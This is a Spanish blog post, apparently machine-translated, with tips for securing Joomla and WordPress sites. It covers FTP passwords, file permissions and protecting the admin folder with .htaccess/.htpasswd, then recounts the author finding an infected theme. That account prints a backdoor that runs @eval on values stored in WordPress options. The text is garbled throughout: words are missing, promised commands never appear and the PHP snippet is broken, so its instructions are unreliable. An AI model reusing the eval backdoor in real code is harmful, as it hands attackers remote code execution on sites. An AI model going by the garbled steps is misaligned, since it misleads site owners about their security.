  3. Muy a menudo, los sitios no son pirateados desde el exterior, sino desde el interior. Los troyanos y keylogen en su computadora saben qué buscar y dónde, así que no almacene contraseñas en clientes FTP(hay una opción para usar en este caso) Es aún más divertido deshabilitar la capacidad de acceder a su sitio a través de FTP, pero en cambio, donde la información transmitida (incluidas las contraseñas) está encriptada, lo que hace que sea inútil interceptarla. Para ser honesto, descuido el último consejo debido a mi “oscuridad”. También hay una opción para configurar el acceso a su sitio a través de FTP regular solo desde una dirección IP específica (su computadora), pero mi ISP tiene una IP dinámica (cambia en un cierto rango).
  4. También asesorar motor no superiores a los que realmente se requieren para su funcionamiento. De hecho, realmente no pensé en configurarlo de acuerdo con la plantilla: 755 para carpetas y 644 para archivos. todo es posible con la ayuda del mismo Filezilla. Además, estos derechos deben aplicarse no solo a los directorios de la carpeta raíz, sino también a todos los directorios y archivos que se encuentran dentro de ellos.

    Establecí los derechos en 444 en los archivos en la carpeta raíz y en los directorios tmp y logs en 705. Por supuesto, sería posible "sujetarlo" con más fuerza, pero no tengo mucha experiencia en esto, y no había tiempo para perder el tiempo en experimentos. Y además, todo esto no disuadirá seriamente a los piratas informáticos, porque hay cosas que pueden anular todos nuestros esfuerzos. Para hacer esto, use los siguientes comandos:

    Por lo tanto, para "concretar" por completo los archivos del motor Joomla 1.5 contra la piratería y la intrusión, es necesario prohibir el cambio de los derechos de acceso a archivos y carpetas a través de PHP. Esto se hace en la configuración del servidor, pero aún no sé cómo ni dónde. Si lo sabe, por favor publique un enlace.

  5. Todo lo anterior está diseñado para reducir la probabilidad de que su sitio sea pirateado y penetrado por shells y otro malware. Sin embargo, las precauciones tomadas no son garantía, por lo que sería genial en un servidor (donde vive su sitio Joomla 1.5). Esto eliminará toda la negatividad de la maldad filtrada. Sin embargo, personalmente, nuevamente, aún no he implementado esto por razones de mi "oscuridad". Agradecería los enlaces a los materiales que explican este proceso.
  6. Muy a menudo rompe sitios, obteniendo acceso al panel administrativo. Está claro que está protegido con contraseña, por lo tanto, utilizando el método de fuerza bruta (selección inteligente), muchas contraseñas, incluso aparentemente complejas, se dividen en una o dos. por lo tanto el administrador también debe estar protegido, y es mejor hacer esto no con la ayuda de extensiones adicionales, sino con la ayuda del servidor. Hay varias opciones de protección. Por ejemplo, puede cambiar la dirección URL del panel de administración de una forma u otra para que el pirata informático no pueda comenzar su negocio sucio.

    Otro método de protección, que se describirá en detalle a continuación, es crear una barrera adicional en el camino de un intruso (una persona viva o un guión). Consiste en proteger con contraseña el directorio con archivos de administración (en Joomla, esta es la carpeta del administrador y en WordPress, wp-admin) utilizando el servidor web. Resulta que al acceder al panel de administración, primero deberá ingresar un nombre de usuario y una contraseña para acceder a la carpeta, y solo luego un nombre de usuario y una contraseña para acceder, de hecho, al panel de administración del motor. Además, al romper la primera línea de defensa usando métodos de fuerza bruta, el malware no creará ninguna carga adicional significativa en el servidor, lo cual es bueno.

  7. Otra nota muy importante, en mi opinión, para aumentar la seguridad de sus sitios contra la piratería y la infección por virus es seguir la regla: un sitio - una cuenta de hosting. Sí, es más caro, pero mucho más seguro. Cuando se coloca en una cuenta, todos sus sitios estarán disponibles de inmediato a través de FTP cuando el malware obtenga acceso a solo uno de ellos. Rompen sitios en la máquina, y no sería razonable esperar que los scripts no suban en el árbol de directorios. Además, es muy difícil tratar un montón de sitios en una cuenta de hosting, porque al tratar con un sitio se pierde de vista el ya curado, que está siendo infectado en ese momento.
  8. Por cierto, pueden romperse no solo desde su propio sitio, sino también desde el sitio de su vecino de alojamiento, si los propietarios no se encargaron adecuadamente de excluir esta posibilidad. También pueden hackear el panel de alojamiento (como,), pero en cualquier caso, la cantidad de hacks por culpa del hoster es insignificante en comparación con la cantidad de hacks debido al descuido de los propietarios del sitio.

¿Cómo proteger el área de administración de su sitio de la piratería?

Quiero hablar en detalle sobre el método de protección que usé recientemente. está incluido en negar el acceso a las carpetas donde se encuentran los archivos del panel administrativo del sitio. La prohibición se establece mediante un maravilloso archivo .htaccess que, de hecho, le permite controlar de forma remota la configuración del servidor web en el que está instalado su sitio. Al mismo tiempo, sabe cómo hacerlo selectivamente.

Todas las directivas escritas en .htaccess solo se aplicarán al directorio en el que se encuentra. ¿Quieres cambiar algo en la configuración de todo el sitio? Ponga entonces .htaccess en la carpeta raíz. Bueno, estamos interesados ​​en la configuración solo con respecto a la carpeta con los archivos del panel de administración, así que la pondremos allí. En Joomla será la carpeta del administrador, en WordPress será wp-admin.

Sin embargo, un .htaccess no es suficiente para nosotros. También deberá usar .htpasswd, donde se almacenarán el nombre de usuario y la contraseña para acceder a esta carpeta tan administrativa. Además, la contraseña no se almacenará en forma abierta, sino en forma de cifrado MD5. No funcionará recuperar la contraseña usándola, pero cuando ingrese la combinación correcta en el campo de contraseña, el servidor web calculará la cantidad de MD5 para esta combinación y la comparará con lo que está almacenado en .htpasswd. Si los datos coinciden, se le permitirá ingresar al área de administración de Joomla o WordPress, y si no, no se les permitirá ingresar.

Eso es todo, solo queda dar vida al plan. Debe agregar algunas directivas a .htaccess. ¿Sabes que? No sé. Sí, y de alguna manera deberá adelantar la contraseña en la secuencia MD5. Problema. Sin embargo, tiene una solución bastante simple. Gente amable organizó un servicio en línea para generar contenido para el archivo .htaccess y el archivo .htpasswd en función del nombre de usuario y la contraseña que se le ocurrió. Es cierto que también deberá especificar la ruta absoluta a la carpeta administrativa, pero estos ya son pequeños detalles.

Entonces, conoce - el grande y terrible generador de protección para el panel de administración de su sitio. Comprensible, ¿verdad? Inventa, y lo mejor de todo, crea las dos combinaciones más complejas de letras, números y signos, y luego ingrésalos en los dos campos superiores. Simplemente no olvide anotarlos o insertarlos en el administrador de contraseñas; de lo contrario, no podrá ingresar al panel de administración usted mismo y tendrá que comenzar a hacer todo lo descrito en esta parte nuevamente.

Aquí ahora. ¿Conoces este? Aunque no lo sepas, no te preocupes. Conéctese al sitio a través de FTP, cree un archivo con cualquier nombre en su raíz (sí, incluso con este url_path.php) y agréguele este código simple:

"; echo "Ruta completa al script y su nombre: ".$_SERVER["SCRIPT_FILENAME"]".
"; echo "Nombre del script: ".$_SERVER["SCRIPT_NAME"]; ?>

Luego ve al navegador e ingresa esta URL en la barra de direcciones (con tu dominio, por supuesto):

https://sitioweb/ruta_url.php

Como resultado, verá la misma ruta absoluta en la que estaba interesado. Introdúcelo en el generador de archivos .htaccess y .htpasswd de arriba. No olvide agregar al final de esta ruta el nombre del administrador o la carpeta wp-admin sin la barra inclinada final. Eso es todo, ahora haga clic en el botón "Generar"

Y, a su vez, transfiera el contenido de los archivos .htaccess y .htpasswd directamente a estos mismos archivos.

Espero que ya los haya creado en las carpetas de administrador o wp-admin (dependiendo del motor que use)?

Bueno, ahora intenta ir al panel de administración. ¿Aparece una ventana pidiéndole que ingrese un nombre de usuario y una contraseña de su servidor web? Se representa de manera diferente en diferentes navegadores, pero en Chrome se ve así:

Si algo no se pega, entonces "fume" la ruta absoluta a .htpasswd, especificada en el archivo .htaccess. En este caso, simplemente corríjalo manualmente al editar el archivo. Eso es todo lo que quería decirte hoy. Si quieres regañar o agregar algo, entonces vete.

¿Virus en WordPress?

Después de escribir este artículo, descubrí malware en mi blog (sitio https: //) (o algo que se instaló sin mi voluntad). Solo quería cambiar algo en el código y entré en . En la parte inferior, justo antes de la etiqueta Body, me llamó la atención una función desconocida para mí (por su nombre, pero no encontré nada que valiera la pena):

El nombre parece ser razonable. Sorprendentemente, tres semanas antes, descubrí accidentalmente que tenía una nueva tabla en las bases de datos de dos de mis blogs de WordPress (https://sitio y otro). Su nombre era maravilloso: wp-config. Buscar en Google este nombre nuevamente no dio nada que valiera la pena, porque todas las respuestas estaban relacionadas con el archivo wp-config.php del mismo nombre.

Esta tabla creció rápidamente en tamaño (hasta cientos de megabytes en el sitio https: //) y se escribieron en ella las direcciones de las páginas de mi sitio con varios parámetros. Sin entender la esencia de este proceso, simplemente demolí esta mesa y eso es todo. Por cierto, tengo otro blog en WordPress, pero allí no se observó nada parecido.

Bueno, aquí encontré una inserción de "habla" en el tema. También decidí ver si se agregó algo allí que estuviera en consonancia con la línea descrita anteriormente en la parte inferior del pie de página. Resultó que se agregó. Y tan claramente, ni en la parte superior ni en la parte inferior, sino en la segunda (o tercera) función inscrita desde arriba:

Función wp_custom_page_links_return() ( $opción = get_option("wp_custom_page_links"); @eval($opción); ) @eval(get_option("wp_brlinks"));

Aquí es donde la maravillosa "eval" llama la atención. Sorprendentemente, Aibolit (descrito anteriormente) encontró este fragmento sospechoso, pero aún no lo tengo en mis manos, porque este script ya sospecha que muchas personas no son confiables. También busqué en Google sobre este código y encontré una publicación (desafortunadamente, ahora que el dominio estaba bloqueado por falta de pago) con una descripción de un problema similar. Un amigo filtró esta basura con un nuevo tema, en el que se cosió algún tipo de código de instalación.

Tengo temas en ambos blogs infectados que llevan muchos años parados. Probablemente, hubo algún tipo de vulnerabilidad en el motor o, que los malvados rápidamente (en la transmisión) aprovecharon. En general, compruebe usted mismo la ausencia de tales inclusiones. La fecha de cambio de los archivos descritos cayó, en mi opinión, a mediados de septiembre de este año.

Te aconsejo que mires también una selección de 17 videotutoriales sobre cómo proteger sitios en Joomla. Se reproducirán uno tras otro automáticamente y, si lo desea, puede cambiar a la siguiente lección usando el botón correspondiente en el panel del reproductor o seleccionar la lección deseada del menú desplegable en la esquina superior izquierda de la ventana del reproductor:

¡Disfruto ver!

¡Buena suerte para ti! Nos vemos pronto en el sitio de las páginas del blog.

te puede interesar

El sitio de Joomla comenzó a emitir un montón de errores como - Estándares estrictos: el método no estático JLoader::import () no debe llamarse estáticamente en
Actualizar Joomla a la última versión
Crear un mapa para un sitio de Joomla usando el componente Xmap
¿Qué es Joomla?
Grupos de usuarios en Joomla, configuración de almacenamiento en caché y el problema de enviar correo desde el sitio
Componente K2 para crear blogs, catálogos y portales en Joomla: funciones, instalación y rusificación
Módulos en Joomla: ver posición, configuración y salida, así como asignar sufijos de clase
Cómo actualizar un sitio Html estático a uno dinámico en Joomla
Instalar WordPress en detalle e imágenes, iniciar sesión en el panel de administración de WP y cambiar la contraseña
Complementos de Joomla: TinyMCE, Load Module, Legacy y otros instalados de forma predeterminada